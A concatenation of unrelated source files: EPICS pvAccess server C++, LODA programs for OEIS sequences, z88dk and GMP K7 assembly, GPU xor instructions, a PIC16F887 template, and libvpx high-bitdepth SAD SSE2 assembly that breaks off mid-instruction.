detail::BlockingServerTCPTransportCodec*>(transport.get()); if(casTransport) { str<<" ver="<<unsigned(casTransport->getRevision()) <<" "<<(casTransport ? casTransport->getChannelCount() : size_t(-1))<<" channels"; PeerInfo::const_shared_pointer peer; { epicsGuard<epicsMutex> G(casTransport->_mutex); peer = casTransport->_peerInfo; } if(peer) { str<<" user: "<<peer->authority<<"/"<<peer->account; if(!peer->realm.empty()) str<<"@"<<peer->realm; if(lvl>=2 && !peer->roles.empty()) { str<<" groups:"; int n=0; for(PeerInfo::roles_t::const_iterator it(peer->roles.begin()), end(peer->roles.end()); it!=end; ++it, ++n) { if(n) str<<','; str<<(*it); } } if(lvl>=3 && peer->aux) { str<<" aux. auth.:\n"; format::indent_scope I(str); str<<(*peer->aux); } } } str<<"\n"; if(!casTransport || lvl<2) return; // lvl >= 2 typedef std::vector<ServerChannel::shared_pointer> channels_t; channels_t channels; casTransport->getChannels(channels); for(channels_t::const_iterator it(channels.begin()), end(channels.end()); it!=end; ++it) { const ServerChannel *channel(static_cast<const ServerChannel*>(it->get())); const Channel::shared_pointer& providerChan(channel->getChannel()); if(!providerChan) continue; str<<" "<<providerChan->getChannelName() <<(providerChan->isConnected()?"":" closed"); if(lvl>=3) { str<<"\t: "; providerChan->printInfo(str); } str<<"\n"; } } } } void ServerContextImpl::setBeaconServerStatusProvider(BeaconServerStatusProvider::shared_pointer const & beaconServerStatusProvider) { _beaconServerStatusProvider = beaconServerStatusProvider; } std::string ServerContextImpl::getBeaconAddressList() { return _beaconAddressList; } bool ServerContextImpl::isAutoBeaconAddressList() { return _autoBeaconAddressList; } float ServerContextImpl::getBeaconPeriod() { return _beaconPeriod; } int32 ServerContextImpl::getReceiveBufferSize() { return _receiveBufferSize; } int32 ServerContextImpl::getServerPort() { return _serverPort; } int32 ServerContextImpl::getBroadcastPort() { return _broadcastPort; } std::string ServerContextImpl::getIgnoreAddressList() { return _ignoreAddressList; } BeaconServerStatusProvider::shared_pointer ServerContextImpl::getBeaconServerStatusProvider() { return _beaconServerStatusProvider; } const osiSockAddr* ServerContextImpl::getServerInetAddress() { if(_acceptor.get()) { return const_cast<osiSockAddr*>(_acceptor->getBindAddress()); } return NULL; } const BlockingUDPTransport::shared_pointer& ServerContextImpl::getBroadcastTransport() { return _broadcastTransport; } const std::vector<ChannelProvider::shared_pointer>& ServerContextImpl::getChannelProviders() { return _channelProviders; } Timer::shared_pointer ServerContextImpl::getTimer() { return _timer; } epics::pvAccess::TransportRegistry* ServerContextImpl::getTransportRegistry() { return &_transportRegistry; } Channel::shared_pointer ServerContextImpl::getChannel(pvAccessID /*id*/) { // not used return Channel::shared_pointer(); } Transport::shared_pointer ServerContextImpl::getSearchTransport() { // not used return Transport::shared_pointer(); } void ServerContextImpl::newServerDetected() { // not used } epicsTimeStamp& ServerContextImpl::getStartTime() { return _startTime; } ServerContext::shared_pointer startPVAServer(std::string const & providerNames, int timeToRun, bool runInSeparateThread, bool printInfo) { ServerContext::shared_pointer ret(ServerContext::create(ServerContext::Config() .config(ConfigurationBuilder() .add("EPICS_PVAS_PROVIDER_NAMES", providerNames) .push_map() .push_env() // environment takes precidence (top of stack) .build()))); if(printInfo) ret->printInfo(); if(!runInSeparateThread) { ret->run(timeToRun); ret->shutdown(); } else if(timeToRun!=0) { LOG(logLevelWarn, "startPVAServer() timeToRun!=0 only supported when runInSeparateThread==false\n"); } return ret; } namespace { struct shutdown_dtor { ServerContextImpl::shared_pointer wrapped; shutdown_dtor(const ServerContextImpl::shared_pointer& wrapped) :wrapped(wrapped) {} void operator()(ServerContext* self) { wrapped->shutdown(); if(!wrapped.unique()) LOG(logLevelWarn, "ServerContextImpl::shutdown() doesn't break all internal ref. loops. use_count=%u\n", (unsigned)wrapped.use_count()); wrapped.reset(); } }; } ServerContext::shared_pointer ServerContext::create(const Config &conf) { ServerContextImpl::shared_pointer ret(new ServerContextImpl()); ret->configuration = conf._conf; ret->_channelProviders = conf._providers; if (!ret->configuration) { ConfigurationProvider::shared_pointer configurationProvider = ConfigurationFactory::getProvider(); ret->configuration = configurationProvider->getConfiguration("pvAccess-server"); if (!ret->configuration) { ret->configuration = configurationProvider->getConfiguration("system"); } } if(!ret->configuration) { ret->configuration = ConfigurationBuilder().push_env().build(); } ret->loadConfiguration(); ret->initialize(); // wrap the returned shared_ptr so that it's dtor calls ->shutdown() to break internal referance loops { ServerContextImpl::shared_pointer wrapper(ret.get(), shutdown_dtor(ret)); wrapper.swap(ret); } return ret; } }}
; A201471: Maximal diameter of a connected n-gamma_t-vertex-critical graph. ; 3,4,6,7,9,11,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,129,131,133,135,137,139,141,143,145,147,149,151,153,155,157 mov $1,$0 mul $1,2 lpb $0,1 trn $0,2 mov $2,$0 trn $0,1 mul $0,2 sub $1,$2 add $1,$0 sub $1,1 lpe add $1,3
; ; RCM2/3000 Stdio ; ; $Id: fgetc_cons.asm,v 1.3 2016/06/12 17:32:01 dom Exp $ ; SECTION code_clib PUBLIC fgetc_cons PUBLIC _fgetc_cons EXTERN rcmx000_cnvtab EXTERN __recvchar .fgetc_cons ._fgetc_cons ; extern int __LIB__ fgetc(FILE *fp); ; return result in HL, when done ; We ignore FILE* fp (in BC) for now call __recvchar ld h,0 ld l,a ret
; A239462: A239459(n) / n. ; 11,41,91,161,251,361,491,641,811,10001,12101,14401,16901,19601,22501,25601,28901,32401,36101,40001,44101,48401,52901,57601,62501,67601,72901,78401,84101,90001,96101,102401,108901,115601,122501,129601,136901,144401,152101,160001,168101,176401,184901,193601,202501,211601,220901,230401,240101,250001,260101,270401,280901,291601,302501,313601,324901,336401,348101,360001,372101,384401,396901,409601,422501,435601,448901,462401,476101,490001,504101,518401,532901,547601,562501,577601,592901,608401,624101,640001,656101,672401,688901,705601,722501,739601,756901,774401,792101,810001,828101,846401,864901,883601,902501,921601,940901,960401,980101,10000001 add $0,1 mov $1,$0 pow $1,2 lpb $0 div $0,10 mul $1,10 lpe mov $0,$1 add $0,1
loop: $0 -> rob@in0 loop -> cu@in1 rob@out -> cu@in0
; A051834: Fibonacci(Pn-1) mod Pn, where Pn is the n-th prime. ; 1,1,3,1,0,1,1,0,1,0,0,1,0,1,1,1,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0 seq $0,79704 ; a(n) = 2*prime(n)^2. sub $0,1 seq $0,10874 ; a(n) = n mod 5. sub $0,1
; A280843: a(n) = A049502(sigma(n)). ; 0,0,0,0,0,0,0,0,1,2,0,0,0,0,0,0,2,3,3,6,0,3,0,0,0,6,4,0,0,4,0,0,0,3,0,7,3,0,0,7,6,0,4,8,4,4,0,0,1,6,4,2,3,0,4,0,5,7,0,10,0,0,4,0,8,5,3,0,0,5,4,2,6,2,0,4,0,10,5,8,1,0,8,0,4,3,0,9,7,6,0,10,0,5,0,0,2,12,5,6 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). seq $0,49502 ; Major index of n, 2nd definition.
dnl AMD K7 mpn_lshift -- mpn left shift. dnl dnl K7: 1.21 cycles/limb (at 16 limbs/loop). dnl Copyright (C) 1999, 2000 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 2.1 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public dnl License along with the GNU MP Library; see the file COPYING.LIB. If dnl not, write to the Free Software Foundation, Inc., 59 Temple Place - dnl Suite 330, Boston, MA 02111-1307, USA. include(`../config.m4') dnl K7: UNROLL_COUNT cycles/limb dnl 4 1.51 dnl 8 1.26 dnl 16 1.21 dnl 32 1.2 dnl Maximum possible with the current code is 64. deflit(UNROLL_COUNT, 16) C mp_limb_t mpn_lshift (mp_ptr dst, mp_srcptr src, mp_size_t size, C unsigned shift); C C Shift src,size left by shift many bits and store the result in dst,size. C Zeros are shifted in at the right. The bits shifted out at the left are C the return value. C C The comments in mpn_rshift apply here too. ifdef(`PIC',` deflit(UNROLL_THRESHOLD, 10) ',` deflit(UNROLL_THRESHOLD, 10) ') defframe(PARAM_SHIFT,16) defframe(PARAM_SIZE, 12) defframe(PARAM_SRC, 8) defframe(PARAM_DST, 4) defframe(SAVE_EDI, -4) defframe(SAVE_ESI, -8) defframe(SAVE_EBX, -12) deflit(SAVE_SIZE, 12) .text ALIGN(32) PROLOGUE(mpn_lshift) deflit(`FRAME',0) movl PARAM_SIZE, %eax movl PARAM_SRC, %edx subl $SAVE_SIZE, %esp deflit(`FRAME',SAVE_SIZE) movl PARAM_SHIFT, %ecx movl %edi, SAVE_EDI movl PARAM_DST, %edi decl %eax jnz L(more_than_one_limb) movl (%edx), %edx shldl( %cl, %edx, %eax) C eax was decremented to zero shll %cl, %edx movl %edx, (%edi) movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp ret C ----------------------------------------------------------------------------- L(more_than_one_limb): C eax size-1 C ebx C ecx shift C edx src C esi C edi dst C ebp movd PARAM_SHIFT, %mm6 movd (%edx,%eax,4), %mm5 C src high limb cmp $UNROLL_THRESHOLD-1, %eax jae L(unroll) negl %ecx movd (%edx), %mm4 C src low limb addl $32, %ecx movd %ecx, %mm7 L(simple_top): C eax loop counter, limbs C ebx C ecx C edx src C esi C edi dst C ebp C C mm0 scratch C mm4 src low limb C mm5 src high limb C mm6 shift C mm7 32-shift movq -4(%edx,%eax,4), %mm0 decl %eax psrlq %mm7, %mm0 movd %mm0, 4(%edi,%eax,4) jnz L(simple_top) psllq %mm6, %mm5 psllq %mm6, %mm4 psrlq $32, %mm5 movd %mm4, (%edi) C dst low limb movd %mm5, %eax C return value movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp emms ret C ----------------------------------------------------------------------------- ALIGN(16) L(unroll): C eax size-1 C ebx (saved) C ecx shift C edx src C esi C edi dst C ebp C C mm5 src high limb, for return value C mm6 lshift movl %esi, SAVE_ESI movl %ebx, SAVE_EBX leal -4(%edx,%eax,4), %edx C &src[size-2] testb $4, %dl movq (%edx), %mm1 C src high qword jz L(start_src_aligned) C src isn't aligned, process high limb (marked xxx) separately to C make it so C C source -4(edx,%eax,4) C | C +-------+-------+-------+-- C | xxx | C +-------+-------+-------+-- C 0mod8 4mod8 0mod8 C C dest -4(edi,%eax,4) C | C +-------+-------+-- C | xxx | | C +-------+-------+-- psllq %mm6, %mm1 subl $4, %edx movl %eax, PARAM_SIZE C size-1 psrlq $32, %mm1 decl %eax C size-2 is new size-1 movd %mm1, 4(%edi,%eax,4) movq (%edx), %mm1 C new src high qword L(start_src_aligned): leal -4(%edi,%eax,4), %edi C &dst[size-2] psllq %mm6, %mm5 testl $4, %edi psrlq $32, %mm5 C return value jz L(start_dst_aligned) C dst isn't aligned, subtract 4 bytes to make it so, and pretend the C shift is 32 bits extra. High limb of dst (marked xxx) handled C here separately. C C source %edx C +-------+-------+-- C | mm1 | C +-------+-------+-- C 0mod8 4mod8 C C dest %edi C +-------+-------+-------+-- C | xxx | C +-------+-------+-------+-- C 0mod8 4mod8 0mod8 movq %mm1, %mm0 psllq %mm6, %mm1 addl $32, %ecx C shift+32 psrlq $32, %mm1 movd %mm1, 4(%edi) movq %mm0, %mm1 subl $4, %edi movd %ecx, %mm6 C new lshift L(start_dst_aligned): decl %eax C size-2, two last limbs handled at end movq %mm1, %mm2 C copy of src high qword negl %ecx andl $-2, %eax C round size down to even addl $64, %ecx movl %eax, %ebx negl %eax andl $UNROLL_MASK, %eax decl %ebx shll %eax movd %ecx, %mm7 C rshift = 64-lshift ifdef(`PIC',` call L(pic_calc) L(here): ',` leal L(entry) (%eax,%eax,4), %esi ') shrl $UNROLL_LOG2, %ebx C loop counter leal ifelse(UNROLL_BYTES,256,128) -8(%edx,%eax,2), %edx leal ifelse(UNROLL_BYTES,256,128) (%edi,%eax,2), %edi movl PARAM_SIZE, %eax C for use at end jmp *%esi ifdef(`PIC',` L(pic_calc): C See README.family about old gas bugs leal (%eax,%eax,4), %esi addl $L(entry)-L(here), %esi addl (%esp), %esi ret ') C ----------------------------------------------------------------------------- ALIGN(32) L(top): C eax size (for use at end) C ebx loop counter C ecx rshift C edx src C esi computed jump C edi dst C ebp C C mm0 scratch C mm1 \ carry (alternating, mm2 first) C mm2 / C mm6 lshift C mm7 rshift C C 10 code bytes/limb C C The two chunks differ in whether mm1 or mm2 hold the carry. C The computed jump puts the initial carry in both mm1 and mm2. L(entry): deflit(CHUNK_COUNT, 4) forloop(i, 0, UNROLL_COUNT/CHUNK_COUNT-1, ` deflit(`disp0', eval(-i*CHUNK_COUNT*4 ifelse(UNROLL_BYTES,256,-128))) deflit(`disp1', eval(disp0 - 8)) movq disp0(%edx), %mm0 psllq %mm6, %mm2 movq %mm0, %mm1 psrlq %mm7, %mm0 por %mm2, %mm0 movq %mm0, disp0(%edi) movq disp1(%edx), %mm0 psllq %mm6, %mm1 movq %mm0, %mm2 psrlq %mm7, %mm0 por %mm1, %mm0 movq %mm0, disp1(%edi) ') subl $UNROLL_BYTES, %edx subl $UNROLL_BYTES, %edi decl %ebx jns L(top) define(`disp', `m4_empty_if_zero(eval($1 ifelse(UNROLL_BYTES,256,-128)))') L(end): testb $1, %al movl SAVE_EBX, %ebx psllq %mm6, %mm2 C wanted left shifted in all cases below movd %mm5, %eax movl SAVE_ESI, %esi jz L(end_even) L(end_odd): C Size odd, destination was aligned. C C source edx+8 edx+4 C --+---------------+-------+ C | mm2 | | C --+---------------+-------+ C C dest edi C --+---------------+---------------+-------+ C | written | | | C --+---------------+---------------+-------+ C C mm6 = shift C mm7 = ecx = 64-shift C Size odd, destination was unaligned. C C source edx+8 edx+4 C --+---------------+-------+ C | mm2 | | C --+---------------+-------+ C C dest edi C --+---------------+---------------+ C | written | | C --+---------------+---------------+ C C mm6 = shift+32 C mm7 = ecx = 64-(shift+32) C In both cases there's one extra limb of src to fetch and combine C with mm2 to make a qword at (%edi), and in the aligned case C there's an extra limb of dst to be formed from that extra src limb C left shifted. movd disp(4) (%edx), %mm0 testb $32, %cl movq %mm0, %mm1 psllq $32, %mm0 psrlq %mm7, %mm0 psllq %mm6, %mm1 por %mm2, %mm0 movq %mm0, disp(0) (%edi) jz L(end_odd_unaligned) movd %mm1, disp(-4) (%edi) L(end_odd_unaligned): movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp emms ret L(end_even): C Size even, destination was aligned. C C source edx+8 C --+---------------+ C | mm2 | C --+---------------+ C C dest edi C --+---------------+---------------+ C | written | | C --+---------------+---------------+ C C mm6 = shift C mm7 = ecx = 64-shift C Size even, destination was unaligned. C C source edx+8 C --+---------------+ C | mm2 | C --+---------------+ C C dest edi+4 C --+---------------+-------+ C | written | | C --+---------------+-------+ C C mm6 = shift+32 C mm7 = ecx = 64-(shift+32) C The movq for the aligned case overwrites the movd for the C unaligned case. movq %mm2, %mm0 psrlq $32, %mm2 testb $32, %cl movd %mm2, disp(4) (%edi) jz L(end_even_unaligned) movq %mm0, disp(0) (%edi) L(end_even_unaligned): movl SAVE_EDI, %edi addl $SAVE_SIZE, %esp emms ret EPILOGUE()
; A202391: Indices of the smallest of four consecutive triangular numbers summing up to a square. ; Submitted by Simon Strandgaard ; 5,39,237,1391,8117,47319,275805,1607519,9369317,54608391,318281037,1855077839,10812186005,63018038199,367296043197,2140758220991,12477253282757,72722761475559,423859315570605,2470433131948079 add $0,1 seq $0,9759 ; Expansion of (3 - 21*x + 4*x^2)/((x-1)*(x^2 - 6*x + 1)). mul $0,2 add $0,5
; A213580: Principal diagonal of the convolution array A213579. ; 1,5,15,35,74,146,277,511,925,1651,2916,5108,8889,15385,26507,45491,77806,132678,225645,382835,648121,1095075,1846920,3109800,5228209,8777261,14716167,24643331,41220050,68873786,114964741,191719783,319436629,531789715,884611692,1470419996,2442435561,4054277953,6725539715,11150066195,18474680566,30594069870,50637148125,83768938715,138512205169,228924982851,378187145232,624505924176,1030836822625,1700880296021,2805398420991,4625497568483,7623796143194,12561412716770,20690228018677,34068778899151,56081164240141,92289238625203,151831855673460,249721842592580,410615899367961,675000691356265,1109341741221755,1822730532471155,2994185524083454,4917417406838166,8074217531595597 mov $14,$0 mov $16,$0 add $16,1 lpb $16 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 add $13,1 lpb $13 clr $0,11 mov $0,$11 sub $13,1 sub $0,$13 mov $2,$0 mov $3,$0 lpb $2 mov $0,$9 sub $0,$3 sub $2,1 mov $3,1 add $8,1 add $3,$8 mov $1,$3 sub $8,$0 lpe add $1,1 add $12,$1 lpe add $15,$12 lpe mov $1,$15
; A170515: Number of reduced words of length n in Coxeter group on 26 generators S_i with relations (S_i)^2 = (S_i S_j)^46 = I. ; 1,26,650,16250,406250,10156250,253906250,6347656250,158691406250,3967285156250,99182128906250,2479553222656250,61988830566406250,1549720764160156250,38743019104003906250,968575477600097656250 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,25 lpe mov $0,$2 div $0,25
; A094125: a(n) = 3*2^n + 2*3^n. ; 5,12,30,78,210,582,1650,4758,13890,40902,121170,360438,1075170,3213222,9615090,28796118,86290050,258673542,775627410,2326095798,6976714530,20926997862,62774702130,188311523478,564909404610,1694677882182,5083932983250,15251597623158 mov $1,5 mov $2,2 lpb $0 sub $0,1 mul $1,2 add $1,$2 mov $3,$2 mul $2,2 add $3,$2 mov $2,$3 lpe mov $0,$1
; void heap_info_unlocked(void *heap, void *callback) SECTION code_alloc_malloc PUBLIC heap_info_unlocked EXTERN asm_heap_info_unlocked heap_info_unlocked: pop af pop de pop ix push hl push de push af jp asm_heap_info_unlocked
xor(8) g14<1>.xUD g5.4<0>.zUD g13<4>.xUD { align16 1Q }; xor(8) g47<1>UD g45<8,8,1>UD g46<8,8,1>UD { align1 1Q }; xor(16) g87<1>UD g83<8,8,1>UD g85<8,8,1>UD { align1 1H }; xor(8) g124<1>UD g5<8,8,1>UD 0x000003ffUD { align1 1Q }; xor(16) g120<1>UD g13<8,8,1>UD 0x000003ffUD { align1 1H };
;********************************************************************** ; This file is a basic code template for assembly code generation * ; on the PIC16F887. This file contains the basic code * ; building blocks to build upon. * ; * ; Refer to the MPASM User's Guide for additional information on * ; features of the assembler (Document DS33014). * ; * ; Refer to the respective PIC data sheet for additional * ; information on the instruction set. * ; * ;********************************************************************** ; * ; Filename: xxx.asm * ; Date: * ; File Version: * ; * ; Author: * ; Company: * ; * ; * ;********************************************************************** ; * ; Files Required: P16F887.INC * ; * ;********************************************************************** ; * ; Notes: * ; * ;********************************************************************** list p=16f887 ; list directive to define processor #include <p16f887.inc> ; processor specific variable definitions ; '__CONFIG' directive is used to embed configuration data within .asm file. ; The labels following the directive are located in the respective .inc file. ; See respective data sheet for additional information on configuration word. __CONFIG _CONFIG1, _LVP_OFF & _FCMEN_ON & _IESO_OFF & _BOR_OFF & _CPD_OFF & _CP_OFF & _MCLRE_ON & _PWRTE_ON & _WDT_OFF & _INTRC_OSC_NOCLKOUT __CONFIG _CONFIG2, _WRT_OFF & _BOR21V ;***** VARIABLE DEFINITIONS w_temp EQU 0x7D ; variable used for context saving status_temp EQU 0x7E ; variable used for context saving pclath_temp EQU 0x7F ; variable used for context saving AUX EQU 0X0C AUX2 EQU 0X0D AUX3 EQU 0X40 ;********************************************************************** ORG 0x000 ; processor reset vector nop goto main ; go to beginning of program goto CONFIG_PTOS ;Configuracion de puertos CONFIG_PTOS: bsf STATUS,RP0 ;Cambio al BANk_1 movlw 0xFF ;Configurar movwf TRISA ;puerto A como entrada movlw 0x00 ;Configurar el movwf TRISB ;puerto B como salida bsf STATUS,RP1 ;Cambiar al bank_3 clrf ANSEL ;configurar el PORT A como digital clrf ANSELH ;configurar el PORT B como digital bcf STATUS,RP0 ;cambio al BANK_0 bcf STATUS,RP1 main ; remaining code goes here ; Write your code here MOVLW .201 ANDLW .153 MOVWF AUX ;aqui es el resultado de 201 and 153 CLRW MOVLW .171 XORLW .148 MOVWF AUX2 CLRW MOVF AUX,0 IORWF AUX2,0 MOVWF AUX3 COMF AUX3,0 IORWF PORTA,0 MOVWF PORTB goto main END ; directive 'end of program'
; ; Copyright (c) 2014 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %define program_name vpx %include "third_party/x86inc/x86inc.asm" SECTION .text %macro HIGH_SAD_FN 4 %if %4 == 0 %if %3 == 5 cglobal highbd_sad%1x%2, 4, %3, 7, src, src_stride, ref, ref_stride, n_rows %else ; %3 == 7 cglobal highbd_sad%1x%2, 4, %3, 7, src, src_stride, ref, ref_stride, \ src_stride3, ref_stride3, n_rows %endif ; %3 == 5/7 %else ; avg %if %3 == 5 cglobal highbd_sad%1x%2_avg, 5, 1 + %3, 7, src, src_stride, ref, ref_stride, \ second_pred, n_rows %else ; %3 == 7 cglobal highbd_sad%1x%2_avg, 5, ARCH_X86_64 + %3, 7, src, src_stride, \ ref, ref_stride, \ second_pred, \ src_stride3, ref_stride3 %if ARCH_X86_64 %define n_rowsd r7d %else ; x86-32 %define n_rowsd dword r0m %endif ; x86-32/64 %endif ; %3 == 5/7 %endif ; avg/sad movsxdifnidn src_strideq, src_strided movsxdifnidn ref_strideq, ref_strided %if %3 == 7 lea src_stride3q, [src_strideq*3] lea ref_stride3q, [ref_strideq*3] %endif ; %3 == 7 ; convert src, ref & second_pred to short ptrs (from byte ptrs) shl srcq, 1 shl refq, 1 %if %4 == 1 shl second_predq, 1 %endif %endmacro ; unsigned int vpx_highbd_sad64x{16,32,64}_sse2(uint8_t *src, int src_stride, ; uint8_t *ref, int ref_stride); %macro HIGH_SAD64XN 1-2 0 HIGH_SAD_FN 64, %1, 5, %2 mov n_rowsd, %1 pxor m0, m0 pxor m6, m6 .loop: ; first half of each row movu m1, [refq] movu m2, [refq+16] movu m3, [refq+32] movu m4, [refq+48] %if %2 == 1 pavgw m1, [second_predq+mmsize*0] pavgw m2, [second_predq+mmsize*1] pavgw m3, [second_predq+mmsize*2] pavgw m4, [second_predq+mmsize*3] lea second_predq, [second_predq+mmsize*4] %endif mova m5, [srcq] psubusw m5, m1 psubusw m1, [srcq] por m1, m5 mova m5, [srcq+16] psubusw m5, m2 psubusw m2, [srcq+16] por m2, m5 mova m5, [srcq+32] psubusw m5, m3 psubusw m3, [srcq+32] por m3, m5 mova m5, [srcq+48] psubusw m5, m4 psubusw m4, [srcq+48] por m4, m5 paddw m1, m2 paddw m3, m4 movhlps m2, m1 movhlps m4, m3 paddw m1, m2 paddw m3, m4 punpcklwd m1, m6 punpcklwd m3, m6 paddd m0, m1 paddd m0, m3 ; second half of each row movu m1, [refq+64] movu m2, [refq+80] movu m3, [refq+96] movu m4, [refq+112] %if %2 == 1 pavgw m1, [second_predq+mmsize*0] pavgw m2, [second_predq+mmsize*1] pavgw m3, [second_predq+mmsize*2] pavgw m4, [second_predq+mmsize*3] lea second_predq, [second_predq+mmsize*4] %endif mova m5, [srcq+64] psubusw m5, m1 psubusw m1, [srcq+64] por m1, m5 mova m5, [srcq+80] psubusw m5, m2 psubusw m2, [srcq+80] por m2, m5 mova m5, [srcq+96] psubusw m5, m3 psubusw m3, [srcq+96] por m3, m5 mova m5, [srcq+112] psubusw m5, m4 psubusw m4, [srcq+112] por m4, m5 paddw m1, m2 paddw m3, m4 movhlps m2, m1 movhlps m4, m3 paddw m1, m2 paddw m3, m4 punpcklwd m1, m6 punpcklwd m3, m6 lea refq, [refq+ref_strideq*2] paddd m0, m1 lea srcq, [srcq+src_strideq*2] paddd m0, m3 dec n_rowsd jg .loop movhlps m1, m0 paddd m0, m1 punpckldq m0, m6 movhlps m1, m0 paddd m0, m1 movd eax, m0 RET %endmacro INIT_XMM sse2 HIGH_SAD64XN 64 ; highbd_sad64x64_sse2 HIGH_SAD64XN 32 ; highbd_sad64x32_sse2 HIGH_SAD64XN 64, 1 ; highbd_sad64x64_avg_sse2 HIGH_SAD64XN 32, 1 ; highbd_sad64x32_avg_sse2 ; unsigned int vpx_highbd_sad32x{16,32,64}_sse2(uint8_t *src, int src_stride, ; uint8_t *ref, int ref_stride); %macro HIGH_SAD32XN 1-2 0 HIGH_SAD_FN 32, %1, 5, %2 mov n_rowsd, %1 pxor m0, m0 pxor m6, m6 .loop: movu m1, [refq] movu m2, [refq+16] movu m3, [refq+32] movu m4, [refq+48] %if %2 == 1 pavgw m1, [second_predq+mmsize*0] pavgw m2, [second_predq+mmsize*1] pavgw m3, [second_predq+mmsize*2] pavgw m4, [second_predq+mmsize*3] lea second_predq, [second_predq+mmsize*4] %endif mova m5, [srcq] psubusw m5, m1 psubusw m1, [srcq] por m1, m5 mova m5, [srcq+16] psubusw m5, m2 psubusw m2, [srcq+16] por m2, m5 mova m5, [srcq+32] psubusw m5, m3 psubusw m3, [srcq+32] por m3, m5 mova m5, [srcq+48] psubusw m5, m4 psubusw m4, [srcq+48] por m4, m5 paddw m1, m2 paddw m3, m4 movhlps m2, m1 movhlps m4, m3 paddw m1, m2 paddw m3, m4 punpcklwd m1, m6 punpcklwd m3, m6 lea refq, [refq+ref_strideq*2] paddd m0, m1 lea srcq, [srcq+src_strideq*2] paddd m0, m3 dec n_rowsd jg .loop movhlps m1, m0 paddd m0, m1 punpckldq m0, m6 movhlps m1, m0 paddd m0, m1 movd eax, m0 RET %endmacro INIT_XMM sse2 HIGH_SAD32XN 64 ; highbd_sad32x64_sse2 HIGH_SAD32XN 32 ; highbd_sad32x32_sse2 HIGH_SAD32XN 16 ; highbd_sad32x16_sse2 HIGH_SAD32XN 64, 1 ; highbd_sad32x64_avg_sse2 HIGH_SAD32XN 32, 1 ; highbd_sad32x32_avg_sse2 HIGH_SAD32XN 16, 1 ; highbd_sad32x16_avg_sse2 ; unsigned int vpx_highbd_sad16x{8,16,32}_sse2(uint8_t *src, int src_stride, ; uint8_t *ref, int ref_stride); %macro HIGH_SAD16XN 1-2 0 HIGH_SAD_FN 16, %1, 5, %2 mov n_rowsd, %1/2 pxor m0, m0 pxor m6, m6 .loop: movu m1, [refq] movu m2, [refq+16] movu m3, [refq+ref_strideq*2] movu m4, [refq+ref_strideq*2+16] %if %2 == 1 pavgw m1, [second_predq+mmsize*0] pavgw m2, [second_predq+16] pavgw m3, [second_predq+mmsize*2] pavgw m4, [second_predq+mmsize*2+16] lea second_predq, [second_predq+mmsize*4] %endif mova m5, [srcq] psubusw m5, m1 psubusw m1, [srcq] por m1, m5 mova m5, [srcq+16] psubusw m5, m2 psubusw m2, [srcq+16] por m2, m5 mova m5, [srcq+src_strideq*2] psubusw m5, m3 psubusw m3, [srcq+src_strideq*2] por m3, m5 mova m5, [srcq+src_strideq*2+16] psubusw m5, m4 psubusw m4, [srcq+src_strideq*2+16] por m4, m5 paddw m1, m2 paddw m3, m4 movhlps m2, m1 movhlps m4, m3 paddw m1, m2 paddw m3, m4 punpcklwd m1, m6 punpcklwd m3, m6 lea refq, [refq+ref_strideq*4] paddd m0, m1 lea srcq, [srcq+src_strideq*4] paddd m0, m3 dec n_rowsd jg .loop movhlps m1, m0 paddd m0, m1 punpckldq m0, m6 movhlps m1, m0 paddd m0, m1 movd eax, m0 RET %endmacro INIT_XMM sse2 HIGH_SAD16XN 32 ; highbd_sad16x32_sse2 HIGH_SAD16XN 16 ; highbd_sad16x16_sse2 HIGH_SAD16XN 8 ; highbd_sad16x8_sse2 HIGH_SAD16XN 32, 1 ; highbd_sad16x32_avg_sse2 HIGH_SAD16XN 16, 1 ; highbd_sad16x16_avg_sse2 HIGH_SAD16XN 8, 1 ; highbd_sad16x8_avg_sse2 ; unsigned int vpx_highbd_sad8x{4,8,16}_sse2(uint8_t *src, int src_stride, ; uint8_t *ref, int ref_stride); %macro HIGH_SAD8XN 1-2 0 HIGH_SAD_FN 8, %1, 7, %2 mov n_rowsd, %1/4 pxor m0, m0 pxor m6, m6 .loop: movu m1, [refq] movu m2, [refq+ref_strideq*2] movu m3, [refq+ref_strideq*4] movu m4, [refq+ref_stride3q*2] %if %2 == 1 pavgw m1, [second_predq+mmsize*0] pavgw m2, [second_predq+mmsize*1] pavgw m3, [second_predq+mmsize*2] pavgw m4, [second_predq+mmsize*3] lea second_predq, [second_predq+mmsize*4] %endif mova m5, [srcq] psubusw m5, m1 psubusw m1, [srcq] por m1, m5 mova m5, [srcq+src_strideq*2] psubusw m5, m2 psubusw m2, [srcq+src_strideq*2] por m2, m5 mova m5, [srcq+src_strideq*4] psubusw m5, m3 psubusw m3, [srcq+src_strideq*4] por m3, m5 mova m5, [srcq+src_stride3q*2] psubusw m5, m4 psubusw m4, [srcq+src_stride3q*2] por m4, m5 paddw m1, m2 paddw m3, m4 movhlps m2, m1 movhlps m4, m3 paddw m1, m2 paddw m3, m4 punpcklwd m1, m6 punpcklwd m3, m6 lea refq, [refq+ref_strideq*8] paddd m0, m1 lea srcq, 